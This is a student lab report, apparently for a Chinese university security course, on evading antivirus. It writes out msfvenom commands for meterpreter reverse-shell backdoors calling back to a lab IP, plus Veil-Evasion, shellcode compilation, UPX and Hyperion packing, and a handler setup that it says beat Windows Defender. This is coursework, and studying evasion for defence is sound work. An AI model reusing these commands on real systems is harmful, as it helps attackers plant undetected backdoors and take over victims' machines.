20192430 2021-2022-2 《网络与系统攻防技术》实验三实验报告
一、实验内容
(1)正确使用免杀工具或技巧
- 正确使用msf编码器,加壳工具和shellcode编程
(2)组合应用技术实现恶意代码免杀
(3)实测在杀软开启的情况下,可运行并成功回连
二、实验要求
掌握免杀原理与技术
回答问题
(1)杀软是如何检测出恶意代码的?
- 静态检测技术
- n-gram字节代码作为特征用于检测野外恶意可执行文件
- 挖掘windows中可执行文件的结构特征;
- 恶意软件二进制文件可视化为灰度图像,使用图像处理技术可视化和分类恶意软件;
- 从恶意软件程序中提取结构信息作为属性函数调用图
- 动态检测技术
- API调用序列
- 基于调用图的恶意代码挖掘系统检测方法
- 混合检测技术
- 生物免疫检测技术
(2)免杀是做什么?
- 免杀技术全称为反杀毒技术,指的是一种能使病毒木马免于被杀毒软件查杀的技术
(3)免杀的基本方法有哪些?
- 直接修改特征码的十六进制法
- 修改字符串大小写法
- 等价替换法
- 指令顺序调换法
- 通用跳转法
- 一键加壳法
三、实验过程
任务一 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1.对实验二中生成的后门程序进行检测
如图可知如果后门程序不加保护,大多数杀毒软件都能将其检测出来
2.使用msf编码器,生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.241.128 LPORT=1899 -f exe > 20192430_msf.exe //msf生成exe文件
进行检测结果如下
3.多次编码生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.241.128 LPORT=1899 -f exe > 20192430_msf1.exe //20次编码生成exe文件
再次检测结果如下
并未有改善,说明多次编码对于后门程序免杀几乎没有作用
4.生成其他类型文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.241.128 LPORT=1899 x > 20192430_msf2.jar //msf生成jar文件
检测结果如下
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.241.128 LPORT=1899 x> 20192430_msf3.php //使用msf生成php文件
检测结果如下
5.安装veli加壳工具
sudo apt-get -y install git
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32 //此处出现问题详见问题分析1
sudo apt-get update
sudo apt-get install veil-evasion
veil
安装结果如下
6.veil-evasion生成后门程序
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.241.128
set LPORT 1899
options //查看设置
generate
veil_20192430
检测结果如下
8.c语言生成shellcode并加压缩壳
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.241.128 LPORT=1899 -f c
vi 20192430_shellcode.c //新建.c文件
将图中十六进制数复制进文件并加入主函数
i686-w64-mingw32-g++ 20192430_shellcode.c -o 20192430xzc_shellcode.exe //编译.c文件(此处出现问题详见问题二)
检测结果如下
upx 20192430xzc_shellcode.exe -o 20192430xzc_shellcode1.exe //压缩加壳
检测结果如下
任务二 通过组合应用各种技术实现恶意代码免杀
1.c语言编写shellcode并进行压缩加密双加壳
在上一步压缩加壳的基础上将 20192430xzc_shellcode1.exe 文件拷贝到 /usr/share/windows-resources/hyperion 中
在当前位置输入
wine hyperion.exe -v 20192430xzc_shellcode1.exe 20192430xzc_shellcode2.exe
传入主机并未被发现
任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
电脑使用Windows Defender
raw已放入
kali运行
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.241.128
set LPORT 1899
exploit
在另一台电脑执行
shellcode_launcher.exe -i 20192430.raw
成功回连
四、问题及解决方案
- 问题1:安装wine32出现问题
- 问题1解决方案:
dpkg --add-architecture i386
apt-get update
apt-get install wine32
即可成功安装
- 问题2:c语言编写shellcode编译出现问题
- 问题2解决方案:未添加主函数,在十六进制数之后添加主函数即可
五、学习感悟、思考等
本次实验学习了多种免杀技术,如shellcode,加壳原理等是对后门原理的拓展与实践,在实验中也出现一些问题,在解决问题的过程中也不断完善自己的知识体系,实践永远是知识最好的试金石。感谢老师和同学对于实验问题的解答与帮助在实际中,免杀技术与查杀技术不断对抗,各自不断发展,也使得信息安全技术方面不断发展,事实证明,杀毒软件并不能完全检测恶意软件,在生活中我们仍然要防范社会工程学攻击来丰富自己的信息安全保障体系。